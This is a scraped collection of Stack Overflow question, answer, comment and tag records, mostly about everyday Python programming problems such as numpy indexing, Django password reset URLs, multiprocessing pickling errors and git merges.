has body: I want to capture "print('Recording GPS Position...')" on the SD card. For now, this is printing on terminal directly I want to capture this runtime process (p_1) from terminal and store on the SD card as it is being executed. How do I do this? Also in general what is a way to capture and store processes at runtime from terminal and store on the SD card (note I do want to store processes as it is being executed and not after its execution is done). import sys import os import time import subprocess, shlex import signal import serial import psutil from subprocess import Popen, PIPE def recording(): flag = 0 ser = serial.Serial('/dev/ttyACM0', 921600, timeout=1) ser.flushOutput() # ROSBAG Recordings (Shell commands that execute the messages on the terminal) messages = 'rosbag record -o GPS_Position.bag dji_sdk/gps_position', 'rosbag record -o IMU_Data.bag dji_sdk/imu', 'rosbag record -o Attitude.bag dji_sdk/attitude', 'rosbag record -o Velodyne_Packets.bag velodyne_packets', 'rosbag record -o Velodyne_Points.bag velodyne_points', # rosbag record -o Velocity.bag dji_sdk/velocity' while flag == 0: try: args1 = shlex.split(messages[0]) # messages[0] = rosbag record -o GPS_Position.bag dji_sdk/gps_position #print (args1) p_1 = subprocess.Popen(args1, stdout=PIPE) print('Recording GPS Position...') p_1.stdout.flush()
tagged with: python
accepted answer: http://stackoverflow.com/a/47064613
tagged with: python-3.6
answer count: 1

http://stackoverflow.com/q/47027354
has title: AttributeError: module 'sys' has no attribute 'maxint'
has answer: http://stackoverflow.com/a/47027394
answer count: 2
tagged with: sys
has comment: http://stackoverflow.com/comment/81001874
has body: I'm trying to run the following code with Python 3.7: import sys print(sys.maxint) but I get an error: D:\Python3.7\python.exe "D:/PyCharm 2017.2.3/Workplace/maximizer.py" Traceback (most recent call last): File "D:/PyCharm 2017.2.3/Workplace/maximizer.py", line 2, in &lt;module&gt; print(sys.maxint) AttributeError: module 'sys' has no attribute 'maxint' How do I fix it?
downvote count: 1
favorite count: 0
upvote count: 40
tagged with: python-3.x
type: Question
score: 39
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47027406

cocos2d-x
tags question: http://stackoverflow.com/q/46991470
tag name: cocos2d-x
type: Tag

http://stackoverflow.com/q/47062693
answer count: 5
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/5616822
has answer: http://stackoverflow.com/a/47062794
tagged with: python
linked to: http://stackoverflow.com/q/2970520
has body: I am trying to figure out how to count how many times one string appears in another string. My code that I'm trying to use and have played around with has not worked so far. needle = input() haystack = input() count = 0 for needle in haystack: count += 1 print(count) My expected result if the input for haystack is 'sesses' and needle is 'ses' would be to print out 2. (ses is in haystack twice)
has title: Counting specific strings within another string
score: 0
has answer: http://stackoverflow.com/a/47062789
has answer: http://stackoverflow.com/a/47062717
has comment: http://stackoverflow.com/comment/81073571
duplicate of: http://stackoverflow.com/q/2970520
has comment: http://stackoverflow.com/comment/81073836
has comment: http://stackoverflow.com/comment/81073553
has answer: http://stackoverflow.com/a/47062747
type: Question
has answer: http://stackoverflow.com/a/47062885

http://stackoverflow.com/comment/80956397
type: AnswerComment
comment on: http://stackoverflow.com/a/47004642
has text: Taking for granted the code that you were given in the first place you can do something like this in your constructor: `phrases = ['Today is Tuesday', 'Today is Wednesday', 'Today is Thursday', 'Today is Friday']` and then `self.__phrases = phrases`. But I don't see any reason for doing so since your class will lose its flexibility.
type: Comment
score: 0

http://stackoverflow.com/q/46974713
answer count: 0
has comment: http://stackoverflow.com/comment/80898250
has comment: http://stackoverflow.com/comment/80897154
linked to: http://stackoverflow.com/q/7852855
has comment: http://stackoverflow.com/comment/80896949
type: Question
has comment: http://stackoverflow.com/comment/80897048
type: UnansweredQuestion
has body: I am new to python and looking for some help. I am trying to read values from an excel file and return some values as a tuple from the function. I am able to return all values except the date. I am getting the error : invalid literal for int() with base 10: '10/12/2017 21:05' This is the relevant part of the code: sdndate = data[i][j] sdndate = xlrd.xldate_as_datetime(sdndate, 0) outputTuple = (var1, var2, sdndate) I understand that there some problem with variable type for date, but I am not able to fix it. Thanks.
has title: Is it possible to return a date string as an element in a tuple along with other values in python
tagged with: python
score: 0

virtual-machine
tag name: virtual-machine
tags question: http://stackoverflow.com/q/47005918
type: Tag

http://stackoverflow.com/comment/80875596
score: 1
comment on: http://stackoverflow.com/q/46963685
type: Comment
type: QuestionComment
has text: Try to `print(csvidx)` before defining `csvfield`.

http://stackoverflow.com/comment/80896178
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46974214
has text: Can't you collect all tuples at once (before sparse-mat creation)? If not, consider using some other sparse-mat build for incremental-construction: lil, dok or coo. 'Your approach seems to be hurt by [csr's](https://docs.scipy.org/doc/scipy-0.18.1/reference/generated/scipy.sparse.csr_matrix.html): ```changes to the sparsity structure are expensive (consider LIL or DOK)```
type: QuestionComment

http://stackoverflow.com/comment/80986865
score: 0
type: AnswerComment
type: Comment
has text: Thank you. When I add the lsit1.insert section to the frontend (under the list1 bits), I get this message in the shell when clicking view all: http://prntscr.com/h3z57z It also then looks like this, which it doesn't do if I leave the list1.insert bit out - it works perfectly otherwise - thank you! http://prntscr.com/h3z5ta
comment on: http://stackoverflow.com/a/46982521

http://stackoverflow.com/a/47009484
has body: You can go for something like Beautifulsoup library, if you looking for a normal scraping. Otherwise you can go for scrapy framework. However from what I understand , Beautifulsoup will suffice your requirement.
has comment: http://stackoverflow.com/comment/80996702
type: Answer
answers question: http://stackoverflow.com/q/47008550
score: 0

http://stackoverflow.com/comment/81077110
score: 0
has text: You would need to re-factor your code if you want it to break at max 6 items otherwise add in A LOT of if statements to check for `orderitems >= 6`
comment on: http://stackoverflow.com/q/47064425
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46939151
tagged with: python
score: 2
upvote count: 2
type: AnsweredQuestion
has body: The problem I have the following pandas series in python: df.Categories That outputs: 01 Crime, Reality-TV 02 Game-Show, Reality-TV 03 Reality-TV Which can be thought as a series of lists: 01 [Crime, Reality-TV] 02 [Game-Show, Reality-TV] 03 [Reality-TV] What I wish to do I'd like to somehow extract features from this like: 1 0 1 0 1 1 0 0 1 Where the first column indicates the "Crime" category, the second column indicates the "Game-Show" category and the third column indicates the "Reality-TV" category.
tagged with: list
downvote count: 0
has answer: http://stackoverflow.com/a/46939348
accepted answer: http://stackoverflow.com/a/46939348
answer count: 1
favorite count: 0
type: Question
tagged with: pandas
tagged with: feature-extraction
has title: How to easily extract features from a list of lists (or pandas.Series of lists)?

http://stackoverflow.com/a/46943999
type: Answer
has body: In your example method sigmoid, you basically built a small computation graph (see below) and run it with session.run (in the same method). Yes, it does not add any benefit to use a place-holder in your case. However, usually people just built the computation graph (and execute the graph with data later). But at the time of building the graph, the data is not needed. That's why we use a place-holder to hold the place of data. Or in other words, it allows us to create our computing operations without needing any data. Also this should explain why we want to use tf.placehoder instead of tf.Variable for holding training data. In short: tf.Variable is for trainable parameters of the model. tf.placeholder is for training data which does not change as model trains. No initial values are needed for placeholders. The first dimension of data through feeding could be None thus supporting any batch_size.
answers question: http://stackoverflow.com/q/46943173
has comment: http://stackoverflow.com/comment/80866712
upvote count: 2
score: 2
accepted answer of: http://stackoverflow.com/q/46943173
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80867434

http://stackoverflow.com/a/46968662
score: 1
type: Answer
downvote count: 0
upvote count: 1
has body: Let us say that your 6 columns are ['name', 'a', 'b', 'c', 'd', 'e'] and your dataframe is called df df.groupby('name').sum() This will sum all your a, b, c, d, e columns grouped by the first column 'name'
answers question: http://stackoverflow.com/q/46968440

http://stackoverflow.com/comment/80790420
score: 0
type: Comment
has text: @Pythoner1234: The multiple objects you refer to are the 'multiple' objects within the list key `Twitter Data` right? or are there multiple `Twitter Data` objects? can you list 2 or 3 objects so that we are clear on the structure of the JSON file.
type: AnswerComment
comment on: http://stackoverflow.com/a/46920863

http://stackoverflow.com/comment/80819586
has text: Ah I think I know what you mean, I will update my answer shortly
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46936012
type: Comment

http://stackoverflow.com/q/47031768
score: 0
answer count: 2
has body: Suppose I have the following array: a = np.array([0,1,0], [1,0,0], [0,0,1]) Would it be possible to do something like the this: a[==0] = -1 to set all zeros to -1? I know you could something like the following to achieve the same effect: b = a == 0 a[b] = -1 but I was just wondering if there was a way to skip the creation of the Boolean array for this.
has title: Is it possible to index a NumPy array with a boolean expression?
has comment: http://stackoverflow.com/comment/81009913
has answer: http://stackoverflow.com/a/47031905
type: Question
tagged with: numpy
tagged with: indexing
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47031863

http://stackoverflow.com/comment/125461628
type: Comment
type: AnswerComment
has text: For the 1) No, 2) Yes, 3) N/A situation, better see https://stackoverflow.com/a/45946306/11715259
comment on: http://stackoverflow.com/a/61494686
score: 0

http://stackoverflow.com/q/47053080
accepted answer: http://stackoverflow.com/a/47159743
has answer: http://stackoverflow.com/a/47159743
tagged with: python
has body: Using pyedflib to import edf files, is it possible to import datasets directly from their source? Or is it always necessary to download data and import locally? for example, I would like to do this: pyedflib.EdfReader("https://www.physionet.org/pn6/chbmit/chb02/chb02_02.edf") --------------------------------------------------------------------------- IOError Traceback (most recent call last) &lt;ipython-input-64-d123ce671a2f&gt; in &lt;module&gt;() ----&gt; 1 pyedflib.EdfReader("https://www.physionet.org/pn6/chbmit/chb02/chb02_02.edf") pyedflib/_extensions/_pyedflib.pyx in pyedflib._extensions._pyedflib.CyEdfReader.__init__() pyedflib/_extensions/_pyedflib.pyx in pyedflib._extensions._pyedflib.CyEdfReader.open() pyedflib/_extensions/_pyedflib.pyx in pyedflib._extensions._pyedflib.CyEdfReader.check_open_ok() IOError: can not open file, no such file or directory
type: AnsweredQuestion
score: 1
answer count: 1
downvote count: 0
tagged with: european-data-format
upvote count: 1
tagged with: import
has title: Import .edf file directly from online archive in python
favorite count: 0
type: Question

http://stackoverflow.com/q/47051951
tagged with: opencv
has title: cv2.findcontours not working consistently
has comment: http://stackoverflow.com/comment/81054081
type: UnansweredQuestion
tagged with: python
score: 0
answer count: 0
tagged with: contour
has comment: http://stackoverflow.com/comment/81059707
has comment: http://stackoverflow.com/comment/81050892
has body: I have some issues with the opencv method findContours(), since it does not work consistently for me. My code works for some of my pictures, but not for others. I can't really find my mistake, but I am also new to python aswell. So here is my first image: When i use a threshold and morphological operations it looks like this: When I use my code to detect the contour, it works just fine. But now there is the other image: With the same modification: And now the code does not find any contour except a single point, which is located somewhere outside of my geometry. Does anybody have an answer to this? Here is the code I am using: im=Image.open(filename) imarray=np.array(im) roi=imarray[150:600,200:800] ret,thresh1=cv2.threshold(roi,125,255,cv2.THRESH_BINARY) kernel=np.ones([5,5]) closing = cv2.morphologyEx(thresh1, cv2.MORPH_CLOSE, kernel) opening = cv2.morphologyEx(closing, cv2.MORPH_OPEN, kernel) _,contours,_ = cv2.findContours(opening, cv2.RETR_LIST,cv2.CHAIN_APPROX_NONE) EDIT here is the output of thresh1 for the second image: EDIT 2 Not "really" solved the main problem but managed to somehow make it work: I found that when I am adding a border to the image using cv2.copyMakeBorder the cv2.findContours method manages to find the border like this: and a second contour is found, that looks like this: so there is the form I was looking for, but I have to manipulate the data to get the intended result. This does not really solve the general problem, but it is a way to somehow still gain my structure... EDIT 3 I just found a mistake in my code. In the further use of the contour data, the data is modified for fitting a spline. In the process I did not use np.copy to make a copy of the contour I wanted to retrieve. After implementing this in the code, I get my desired contour without using borders. So there was no problem with the cv2.findContours() method, just me being inexperienced in python. Therefore, the case is closed.
type: Question

http://stackoverflow.com/comment/80901809
comment on: http://stackoverflow.com/q/46960030
score: 0
type: Comment
type: QuestionComment
has text: @MSeifert Losing precision is not an option and making e.g. float -> string -> float conversion is just not efficient especially since I already have array of the binary data with correct format (because it was used to initially create the file) where the appropriate values were replaced with new ones. I've already wrote a solution above, please see it.

http://stackoverflow.com/q/46973799
favorite count: 0
type: Question
has title: How to express the following piecewise function in python?
has comment: http://stackoverflow.com/comment/80895736
has comment: http://stackoverflow.com/comment/80895502
has comment: http://stackoverflow.com/comment/80895630
has answer: http://stackoverflow.com/a/46974164
score: 1
has comment: http://stackoverflow.com/comment/80895506
tagged with: numpy
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80895538
has comment: http://stackoverflow.com/comment/80895441
answer count: 2
has answer: http://stackoverflow.com/a/46976766
has body: How can I implement with numpy the following piecewise function and its derivative?: I tried to: def func(n): return beta * ((0 &lt; n) * n + (n &lt;= 0) * (k * np.exp(n) - alpha)) with its derivative (back propagation): def func_prime(n) return (n &lt;= 0) * np.multiply(beta ,k, np.exp(n)) + (beta) However its not working. Thus, how can I implement the above function with numpy (note that n is an array).
downvote count: 0
tagged with: machine-learning
upvote count: 1
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80895426

http://stackoverflow.com/q/47062779
upvote count: 1
type: UnansweredQuestion
answer count: 1
tagged with: django
tagged with: python
has title: `registration/password_reset_email.html` not being rendered due to the absence of an custom exist template
favorite count: 0
score: 0
has body: I am attempting create the password_reset_confirm view for my application. However I keep getting this error : This question is about the password_reset_confirm issue which was caused by the fact the the namespace exist was preventing the default template registration/password_reset_email.html from being rendered, while the previous question is about the password_reset_done problem which was caused by the absence of the improved post_reset_redirect variable which accounted for the namespace exist Here is my code : app urls.py from django.conf.urls import url from . import views from django.contrib.auth.views import login, logout, password_reset, password_reset_done, password_reset_confirm, password_reset_confirm urlpatterns = [ url(r'^$', views.vedic_view, name = 'vedic_home_view'), url(r'^login/$', login, {'template_name' : 'exist/login.html'}, name = 'login'), url(r'^logout/$', logout, {'template_name' : 'exist/logout.html'}, name = 'logout'), url(r'^register/$', views.register_view, name = 'register'), url(r'^profile/$', views.view_profile, name = 'view_profile'), url(r'^profile/edit/$', views.edit_profile, name = 'edit_profile'), url(r'^change-password/$', views.change_password, name = 'change_password'), url(r'^reset-password/$', password_reset, { 'template_name' : 'exist/reset_password.html', 'post_reset_redirect': 'exist:password_reset_done' }, name = 'reset_password'), url(r'^reset-password/done/$', password_reset_done, name = 'password_reset_done'), url(r'^reset-password/confirm/(?P&lt;uidb64&gt;[0-9A-Za-z]+)-(?P&lt;token&gt;.+)/$', password_reset_confirm, {'post_reset_redirect': 'exist:password_reset_complete'}, name = 'password_reset_confirm') ] It seems the namespace variable in the main urls.py is affecting the url mapping for the password_reset_confirm project urls.py from django.conf.urls import url from django.contrib import admin from django.conf import settings from django.conf.urls.static import static urlpatterns = [ url(r'^admin/', admin.site.ur…
has answer: http://stackoverflow.com/a/47063109
downvote count: 1
has comment: http://stackoverflow.com/comment/81074155
type: Question
linked to: http://stackoverflow.com/q/47058192
has comment: http://stackoverflow.com/comment/81080703

http://stackoverflow.com/q/46955067
downvote count: 0
tagged with: vba
has body: I'm currently running a program in VBA which calls Python to execute a script. The script downloads from SQL then runs an algorithm to produce output which is subsequently consumed by VBA (I'm doing it this way since my GUI is in Excel and my final output is an Excel table). I'm running the Python part via shellscript as below: Public Const PythonPath = "D:\Anaconda2\Python.exe " Set ShellScript = VBA.CreateObject("WScript.Shell") Filename = """I:\SQL Downloader_v4.2.py""" ShellScript.Run (PythonPath &amp; Filename), windowStyle, waitOnReturn This then launches a Python application which requires a username and password to access an SQL database. Python is set up to accept username and password via raw_input within the script. How would I send username and password from VBA to Python in this method or is there a better way than doing via raw_input?
tagged with: shell
score: 1
has title: Sending a parameter from VBA to Python via shellscript
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/46955859
type: Question
upvote count: 1
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80858007

http://stackoverflow.com/comment/81038849
type: Comment
type: QuestionComment
has text: Then you assigned something else to the name `list`. Don't do that.
comment on: http://stackoverflow.com/q/47042475
score: 0

http://stackoverflow.com/comment/81175762
comment on: http://stackoverflow.com/a/47055848
type: Comment
type: AnswerComment
has text: @jsbueno, can you explain how you would handle a case with multiple inheritance? For example, I have a class Recorder(Framework) that has a special method record(self) that needs to be passed to _finalizer. And my other class MyFramework(Recorder) that does some other things. Thank you!
score: 0

http://stackoverflow.com/comment/80783369
has text: I can't reproduce the problem on Windows. The problem with `prevSaved` is that you didn't declare it `global prevSaved` at the beginning of the all the functions that set its value, so inside those functions it's considered a local variable by default. You don't need to declare a global variable to _reference_ its current value, but it must be declared in order to be able change its value (and not create a local variable that effectively hides the global one).
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/46917429

http://stackoverflow.com/q/46931407
linked to: http://stackoverflow.com/q/27934945
has comment: http://stackoverflow.com/comment/80810714
has comment: http://stackoverflow.com/comment/80813625
score: 0
has title: clicking multiple checkboxes in python selemium
tagged with: selenium
has comment: http://stackoverflow.com/comment/80814617
has body: I'n trying to check multiple checkboxes through my python code: checkboxes=driver.find_elements_by_xpath("//input[@type='checkbox']") for i in range(0,len(checkboxes)): if checkboxes[i].is_selected(): time.sleep(2) else: checkboxes[i].click() It works fine for the first checkbox but it fails for the rest giving me the following error: Element &lt;input _ngcontent-rnm-59="" type="checkbox" class="ng-untouched ng-pristine ng-valid"&gt; is not clickable at point (584, 215). The HTML code of the dropbox is as follows: &lt;div class="ps-content"&gt; &lt;div _ngcontent-rnm-59="" style="width: 300px;" class="scroll-300"&gt; &lt;!--template bindings={}--&gt;&lt;div _ngcontent-rnm-59=""&gt; &lt;!--template bindings={}--&gt;&lt;div _ngcontent-rnm-59=""&gt; &lt;label _ngcontent-rnm-59="" style="width: 100%; background-color: #d6d4d4"&gt; LTE BASIC - Serving Cell &lt;/label&gt; &lt;!--template bindings={}--&gt;&lt;li _ngcontent-rnm-59="" style="margin-right:-20 px"&gt; &lt;div _ngcontent-rnm-59="" class="checkbox-new" style="display:flex; width:100%; justify-content: space-between;"&gt; &lt;label _ngcontent-rnm-59="" style="width: 100%"&gt; &lt;input _ngcontent-rnm-59="" type="checkbox" class="ng-valid ng-dirty ng-touched"&gt;&lt;span _ngcontent-rnm-59="" class="checkbox-material"&gt;&lt;/span&gt; Voice RAT &lt;/label&gt; Please suggest the way to debug it.
type: Question
answer count: 0
linked to: http://stackoverflow.com/q/44912203
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80810849
tagged with: python

http://stackoverflow.com/q/46939742
has body: Basically i need some quick help. I'm making a program where I am using two random generators to generate numbers. First generator, between 2-14 each number representing a card. Numbers 11, 12 13, and 14 represent Jack, Queen, King &amp; Ace respectively. Second random generator generating numbers 15-18 to represent the type of card for example 15, 16, 17, 18 would represent Hearts, Spades, Diamonds &amp; Clubs respectively. What the outcome of the generators should come to is the first generator generated a number 8 and the second generator generated the number 17. I then want it to translate this to read: "8 of Diamonds". Here is my code so far: import random Player1 = input("Enter Name Of Player1") Card = random.randint(2, 14) Suit = random.randint(15,18) if Card == 11: print("Jack") elif Card == 12: print("Queen") elif Card == 13: print("King") elif Card == 14: print("Ace") else: print(Card)
upvote count: 1
has comment: http://stackoverflow.com/comment/80834350
favorite count: 0
has answer: http://stackoverflow.com/a/46939950
tagged with: generator
tagged with: random
has answer: http://stackoverflow.com/a/46940156
has title: Python Random Generator
score: 1
tagged with: python
type: Question
answer count: 2
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/q/46970220
has answer: http://stackoverflow.com/a/46984091
has comment: http://stackoverflow.com/comment/80930986
tagged with: python
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/80915585
type: Question
tagged with: python-3.x
has title: How can I calculate value of an expression in a separate process
type: UnansweredQuestion
has body: I have code that creates 6 processes and passes objects to the parent process through the pipe, in such case value of the expression 2 ** 320000 is being calculated in the parent process, not in the child processes. How can I calculate it in the child process and then pass the result to the parent process? from multiprocessing import Process, Pipe def child(pipe, no): for i in range(5): #str(2 ** 320000) # It works this way pipe.send([no, i, 2 ** 320000]) pipe.send('done') pipe.close() print('child %s close pipe' % no) def parent(): procs = 6 pipes = [] for i in range(procs): parent_pipe, child_pipe = Pipe() process = Process(target=child, args=(child_pipe, i)) pipes.append((parent_pipe, child_pipe)) process.start() exit_flag = [False] * procs while False in exit_flag: for pipe in pipes: index = pipes.index(pipe) if exit_flag[index]: continue data = pipe[0].recv() if data == 'done': exit_flag[index] = True continue print('parent got: %s' % data) print('parent exiting...') if __name__ == '__main__': parent()

http://stackoverflow.com/comment/81030326
type: Comment
type: QuestionComment
has text: **It does not**. When not giving fprime, it just uses numerical-diff automatically. And you see that the output is a vector corresponding to a function with two variables. (**edit:** Warren also explained it; did not see it!)
comment on: http://stackoverflow.com/q/47008132
score: 0

http://stackoverflow.com/q/46921246
has body: It looks like simple CAE not working for Carvana dataset I’m trying simple CAE for Carvana dataset. You can download it here My code is following: import numpy as np import pandas as pd import matplotlib.pyplot as plt from skimage.io import imread from skimage.transform import downscale_local_mean from skimage.color import rgb2grey from os.path import join, isfile from tqdm import tqdm_notebook from sklearn.model_selection import train_test_split from keras.layers import Conv2D, MaxPooling2D, Conv2DTranspose, Input, concatenate from keras.models import Model from keras.callbacks import ModelCheckpoint import keras.backend as K from scipy.ndimage.filters import gaussian_filter from keras.optimizers import Adam from random import randint import hickle as hkl import dill class Data(object): def __init__(self, X, Y): self.X = X self.Y = Y input_folder = join('..', 'input') print('Path:',input_folder) data_file_name = 'datafile.pkl' df_mask = pd.read_csv(join(input_folder, 'train_masks.csv'), usecols=['img']) load_img = lambda im, idx: imread(join(input_folder, 'train', '{}_{:02d}.jpg'.format(im, idx))) load_mask = lambda im, idx: imread(join(input_folder, 'train_masks', '{}_{:02d}_mask.gif'.format(im, idx))) ids_train = df_mask['img'].map(lambda s: s.split('_')[0]).unique() imgs_idx = list(range(1, 17)) resize = lambda im: downscale_local_mean(im, (4,4) if im.ndim==2 else (4,4,1)) mask_image = lambda im, mask: (im * np.expand_dims(mask, 2)) num_train = 48#len(ids_train) if isfile(data_file_name): #with open(data_file_name, 'rb') as f: data = hkl.load(data_file_name) X = data.X y = data.y else: X = np.empty((num_train, 320, 480, 1), dtype=np.float32) y = np.empty((num_train, 320, 480, 1), dtype=np.float32) with tqdm_notebook(total=num_train) as bar: idx = 1 # Rotation index for i, img_id in enumerate(ids_train[:num_train]): imgs_id = [resize(load_img(img_id, j)) for j in imgs_idx] greyscale = rgb2grey(imgs_id[idx-1]) / 255 greyscale = np.expand_dims(greyscale, 2) X[i] = …
tagged with: theano
type: UnansweredQuestion
has title: Issue with simple CAE
tagged with: python
answer count: 0
tagged with: autoencoder
score: 1
downvote count: 0
upvote count: 1
tagged with: keras
favorite count: 0
type: Question

http://stackoverflow.com/q/46978625
linked to: http://stackoverflow.com/q/13565177
tagged with: git
type: Question
has answer: http://stackoverflow.com/a/46978880
has body: I got two branches A, B. In branch A, I added a file called a.py and consists: import os import math I added and committed the file (and pushed to remote). Than I created another branch, B like that: git checkout -b B in Branch B I added another file and added, committed and pushed it. I also changed a.py to be like that: import os import sys After that I also added 7 files and pushed them (in B). Now, I regret and I want to keep the: import math by marging A to B without losing all my older commits. Only change back (but not manually) the import math back. When I just use the IDE to merge A to B it says already up to date but it is not true because in A I have import math and in B I have import sys. How can I fix it? I'm afraid to lose all my job. Thanks in advance.
type: UnansweredQuestion
has title: Git Already Up to Date Though I Made Changes
has comment: http://stackoverflow.com/comment/80905124
tagged with: python
has answer: http://stackoverflow.com/a/46978673
tagged with: git-merge
tagged with: bitbucket
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/80904836
tagged with: github

http://stackoverflow.com/a/47031161
answers question: http://stackoverflow.com/q/47031035
accepted answer of: http://stackoverflow.com/q/47031035
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/81008889
score: 0
has body: So first, you need to call the function def__getcrc(self, buf) to get the return of the program. Like this (it goes at the very bottom): __getcrc(num-self-here, number-buf-here) I put num-self-here and number-buf-here because I don't exactly understand what your program does. Hope it helped you.

http://stackoverflow.com/q/46934670
has comment: http://stackoverflow.com/comment/80816612
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46934771
has body: I want to make frequency table by below table. number &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sum frequency&nbsp;&nbsp;&nbsp;0.4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.25&nbsp;&nbsp;&nbsp;&nbsp;0.15&nbsp;&nbsp;&nbsp;&nbsp;0.2&nbsp;&nbsp;&nbsp;&nbsp;1 And I wrote the below code. import random from collections import Counter number = [1, 2, 4, 6] probability = [0.4, 0.25, 0.15, 0.2] def Cdf(p): y_cdf = [] s = 0 n = len(p) for i in range(0, n): s = s + p[i] y_cdf.append(s) return y_cdf def rand_G(p): q = random.uniform(0, 1) n = len(p) c = Cdf(p) for i in range(0, n): if q &lt;= c[i]: return i def rand2_G(p, n): a = [] for i in range(n): a.append(rand_G(p)) return a def Table(a): c = Counter(a) pair = c.most_common() pair.sort() print('Number\tFrequency') for x in pair: print('{0}\t{1}'.format(x[0], x[1])) data = rand2_G(probability, 10000) Table(data) But result is Number Frequency 0 3990 1 2495 2 1521 3 1994 Above Table, Number is not 1,2,4,6. How can I make frequency table with number 1,2,4,6(above number list)?
score: 0
tagged with: frequency
tagged with: python
tagged with: python-3.x
has title: Python Frequency table
type: UnansweredQuestion
answer count: 1
tagged with: loops
upvote count: 1

http://stackoverflow.com/q/46961836
upvote count: 1
type: UnansweredQuestion
answer count: 1
has body: I am using python 3.6 I am trying to use multiprocessing from inside a class method shown below by the name SubmitJobsUsingMultiProcessing() which further calls another class method in turn. I keep running into this error : Type Error : can't pickle _thread.RLock objects. I have no idea what this means. I have a suspicion that the below line trying to establish a connection to a webserver API might be responsible but I am all at sea to understand why. I am not a proper programmer(code as a part of a portfolio modeling team) so if this is an obvious question please pardon my ignorance and many thanks in advance. import multiprocessing as mp,functools def SubmitJobsUsingMultiProcessing(self,PartitionsOfAnalysisDates,PickleTheJobIdsDict = True): if (self.ExportSetResult == "SUCCESS"): NumPools = mp.cpu_count() PoolObj = mp.Pool(NumPools) userId,clientId,password,expSetName = self.userId , self.clientId , self.password , self.expSetName PartialFunctor = functools.partial(self.SubmitJobsAsOfDate,userId = userId,clientId = clientId,password = password,expSetName = expSetName) Result = PoolObj.map(self.SubmitJobsAsOfDate, PartitionsOfAnalysisDates) BatchJobIDs = OrderedDict((key, val) for Dct in Result for key, val in Dct.items()) f_pickle = open(self.JobIdPickleFileName, 'wb') pickle.dump(BatchJobIDs, f_pickle, -1) f_pickle.close() def SubmitJobsAsOfDate(self,ListOfDatesForBatchJobs,userId,clientId,password,expSetName): client = Client(self.url, proxy=self.proxysettings) if (self.ExportSetResult != "SUCCESS"): print("The export set creation was not successful...exiting") sys.exit() BatchJobIDs = OrderedDict() NumJobsSubmitted = 0 CurrentProcessID = mp.current_process() for AnalysisDate in ListOfDatesForBatchJobs: jobName = "Foo_" + str(AnalysisDate) print('Sending job from process : ', CurrentProcessID, ' : ', jobName) jobId = client.service.SubmitExportJob(userId,clientId,password,expSetName, AnalysisDate, jobName, False) BatchJobIDs[AnalysisDate] = jobId NumJobsSubmitte…
favorite count: 0
type: Question
score: 1
tagged with: python
has answer: http://stackoverflow.com/a/48217567
tagged with: python-3.6
has title: can't pickle _thread.RLock objects when using a webservice
tagged with: python-multiprocessing
downvote count: 0

http://stackoverflow.com/a/47208148
answers question: http://stackoverflow.com/q/46973057
type: Answer
has body: I found the answer by experimenting and it is trivial. def plot_sympy(): from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas from matplotlib.figure import Figure import io from sympy import symbols from sympy.plotting import plot x = symbols('x') p1 = plot(x*x) p2 = plot(x) p1.append(p2[0]) s = io.BytesIO() p1.save(s) fig=Figure() canvas=FigureCanvas(fig) canvas.print_tif(s) return s.getvalue() def myplot4(): response.headers['Content-Type']='image/png' return plot_sympy()
score: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/46931434
tagged with: arrays
possible better answer: http://stackoverflow.com/a/46931489
upvote count: 1
downvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/46931643
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/46931643
has title: How to handle scenario where numpy.where condition is unsatisfied?
has body: I am converting this array: x = np.array([[0, 0, 1], [1, 1, 0], [0, 1, 0], [1, 0, 0], [0, 0, 0]]) to: [2, 0, 1, 0, 0]. Basically, I want to return the index of the first 1 in each sub-array. However, my problem is that I don't know how to handle the scenario where there is no 1. I want it to return 0 if 1 is not found (like in my example). The code below works fine but throws IndexError: index 0 is out of bounds for axis 0 with size 0 for the scenario I mentioned: np.array([np.where(r == 1)[0][0] for r in x]) What is an easy way to handle this? It does not need to be restricted to numpy.where. I am using Python 3 by the way.
tagged with: python
has answer: http://stackoverflow.com/a/46931489
type: Question
tagged with: numpy
answer count: 2
has comment: http://stackoverflow.com/comment/80905389

http://stackoverflow.com/a/47077748
accepted answer of: http://stackoverflow.com/q/47051980
score: 0
type: AcceptedAnswer
has body: Change self.children = my_children to self.children = my_children.copy() and code will work correct. When you change self.children inside function body, you change my_children also because self.children assigned by link to my_chidlren, not by value of it. Adding a '.copy()' make it assigned by value. You can add some output to the end of __init__ body to see for yourself what my_children is changed by b = Node(["b"], a) call: print("children: ", self.children) print("my_children: ", my_children) children: [&lt;__main__.Node object at 0x0000000008D82978&gt;] my_children: [&lt;__main__.Node object at 0x0000000008D82978&gt;]
type: Answer
answers question: http://stackoverflow.com/q/47051980
has comment: http://stackoverflow.com/comment/81170014

http://stackoverflow.com/q/47036519
score: 0
tagged with: django-views
has title: django - filtering objects across multiple templates?
